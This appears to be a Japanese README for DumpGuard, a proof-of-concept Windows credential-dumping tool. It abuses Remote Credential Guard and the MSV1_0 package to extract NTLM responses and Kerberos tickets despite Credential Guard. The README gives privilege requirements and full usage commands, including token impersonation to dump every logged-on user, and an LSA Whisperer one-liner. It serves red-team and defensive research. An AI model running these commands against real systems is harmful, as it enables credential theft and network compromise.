
最新のWindowsシステムにおける保護されたセッションから資格情報を抽出する概念実証ツール

DumpGuardは、最新のWindowsシステム向けの資格情報ダンプおよびプロトコル調査ツールです。_Remote Credential Guard_プロトコルを悪用して、_Credential Guard_が有効な場合でも資格情報を復元し、さらにセッション指向のNTLM抽出のためのMicrosoft v1認証パッケージパスも含んでいます。
現在の機能は以下の通りです:
このリポジトリのリリースセクションからビルド済みのコピーをダウンロードできます。
免責事項: このツールは教育および正当なテスト目的のみに提供されています。このリポジトリの作成者は、いかなる種類の誤用も容認または支持しておらず、このツールの使用に起因する損害や法的結果について一切の責任を負いません。
以下の表は、現在実装されている手法をまとめたものです。
| 手法 | コマンド | SYSTEMが必要 | SPNアカウント が必要 | Credential Guard のダンプ可否 |
|---|---|---|---|---|
| Remote Credential Guard経由でNTLMv1を抽出 | ntlmv1 | self: ❌all: ✅ | ✅ | ✅ |
| Remote Credential Guard経由でNTLMv2を抽出 | ntlmv2 | self: ❌all: ✅ | ✅ | ✅ |
| Remote Credential Guard経由でKerberos TGSを抽出 | kerbtgs | self: ❌all: ✅ | ✅ | ✅ |
| Microsoft v1認証パッケージ経由でNTLMv1を抽出 | msv10 | ✅ | ❌ | ❌ |
DumpGuardはcommandとtargetのモデルを使用します。
commandは抽出手法を選択します。targetは現在のセッションで動作するか、セッションを列挙するかを選択します。サポートされているコマンド:
/command:ntlmv1/command:ntlmv2/command:kerbtgs/command:msv10サポートされているターゲット:
/target:self/target:all共通のRemote Credential Guardパラメータ:
/domain:<DOMAIN>/username:<SAMACCOUNTNAME>/password:<PASSWORD>/spn:<SPN>Kerberos TGSパラメータ:
/tgsdomain:<DOMAIN>/tgsspn:<SPN>コンピュータアカウントの場合、/spnが省略されると、DumpGuardはデフォルトでHOST/<computername>になります。
非特権コンテキストから現在のユーザーの資格情報をダンプするために、DumpGuardはRemote Credential Guardを使用してSPN有効アカウントに対して認証し、確立されたセキュリティコンテキスト上で後続のリクエストを発行します。
これはCredential Guardの状態に関係なく機能しますが、SPN有効アカウントの資格情報が必要です。
特権要件: なし。
NTLMv1:
DumpGuard.exe /command:ntlmv1 /target:self /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>]
NTLMv2:
DumpGuard.exe /command:ntlmv2 /target:self /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>]
Kerberos TGS:
DumpGuard.exe /command:kerbtgs /target:self /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>] [/tgsdomain:<DOMAIN>] /tgsspn:<service/host>
/tgsdomainが省略された場合、デフォルトでRemote Credential Guardの/domain値になります。
特権コンテキストから現在アクセス可能なすべてのユーザーの資格情報をダンプするために、DumpGuardは実行中のプロセスからトークンを偽装し、Remote Credential Guardを使用してSPN有効アカウントに対して認証し、確立されたセキュリティコンテキスト上で後続のリクエストを発行します。
これはCredential Guardの状態に関係なく機能しますが、SPN有効アカウントの資格情報が必要です。
特権要件: SYSTEM または 管理者 ( SeImpersonatePrivilege が必要)。
NTLMv1:
DumpGuard.exe /command:ntlmv1 /target:all /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>]
NTLMv2:
DumpGuard.exe /command:ntlmv2 /target:all /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>]
Kerberos TGS:
DumpGuard.exe /command:kerbtgs /target:all /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>] [/tgsdomain:<DOMAIN>] /tgsspn:<service/host>
/tgsdomainが省略された場合、デフォルトでRemote Credential Guardの/domain値になります。
特権SYSTEMコンテキストから現在認証されているユーザーのNTLM応答をダンプするために、DumpGuardはNTLM SSPと直接相互作用し、検出されたすべてのログオンセッションに対してチャレンジ応答を要求します。
これは以下の条件下でのみ機能します:
特権要件: SYSTEM ( SeTcbPrivilege が必要)。
DumpGuard.exe /command:msv10
この攻撃は、LSA Whisperer を使用して以下のコマンドで実行することもできます:
lsa-whisperer.exe msv1_0 Lm20GetChallengeResponse --luid {session id} --challenge {challenge to clients} [flags...]
私はCredential Guard (LsaIso.exe) によって公開されているインターフェースをリバースエンジニアリングして再現し、さらなる研究に関心のある方のためにこのリポジトリに含めました。
2025年10月現在、以下のインターフェースが実装されています:
この研究を支援してくださったSpecterOpsと、開発に協力してくれた同僚に感謝します。